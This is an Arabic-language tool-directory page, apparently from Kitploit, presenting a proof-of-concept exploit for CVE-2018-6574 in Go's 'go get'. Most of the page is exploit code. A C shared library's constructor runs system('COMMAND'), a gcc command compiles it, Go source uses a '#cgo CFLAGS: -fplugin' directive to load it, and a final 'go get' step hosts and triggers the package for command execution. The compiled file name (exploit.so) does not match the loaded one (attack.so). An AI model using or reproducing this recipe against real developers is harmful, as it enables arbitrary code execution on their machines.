Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2018-6574 — إثبات مفهوم لاستغلال CVE-2018-6574 يوضح تنفيذ أوامر عشوائية عبر حقن إضافة Go خبيثة باستخدام مكتبات CGO المشتركة. | Kitploit
أدوات/GitHubGitHub/itsfading/cve-2018-6574
تحليل الثغرات الأمنيةالاستغلالشيل كوداستغلال تطبيقات الويبتطوير الحمولاتاستغلال الملفات الثنائية
GitHubitsfading/cve-2018-6574

CVE-2018-6574

إثبات مفهوم لاستغلال CVE-2018-6574 يوضح تنفيذ أوامر عشوائية عبر حقن إضافة Go خبيثة باستخدام مكتبات CGO المشتركة.

عرض المستودع
11منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2018-6574 POC

POC استغلال لـ CVE-2018-6574

التجميع

  1. أنشئ ملف استغلال بالمحتوى التالي:
root@kitploit:~
#include<stdio.h>
#include<stdlib.h>

static void malicious() __attribute__((constructor));

void malicious() {
    system("COMMAND");
}
  1. قم بتجميعه:
root@kitploit:~
gcc -shared -o exploit.so -fPIC exploit.c
  1. أخيرًا، تحتاج إلى كود Go الذي سيخبر cgo باستخدام الإضافة الخاصة بك:
root@kitploit:~
package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int
// bridge_int_func(intFunc f)
// {
//      return f();
// }
//
// int fortytwo()
// {
//      return 42;
// }
import "C"
import "fmt"

func main() {
    f := C.intFunc(C.fortytwo)
    fmt.Println(int(C.bridge_int_func(f)))
    // Output: 42
}
  1. ثم استضفه على GitHub وقم بتشغيله للحصول على تنفيذ الأوامر:
root@kitploit:~
go get github.com/your-repo/CVE-2018-6574-POC

الإصدارات

  • قبل 1.8.7
  • قبل 1.9.4
  • قبل Go 1.10rc2

المراجع

  • https://nvd.nist.gov/vuln/detail/CVE-2018-6574
  • http://blog.nsfocus.net/cve-2018-6574/
تنزيل الأداة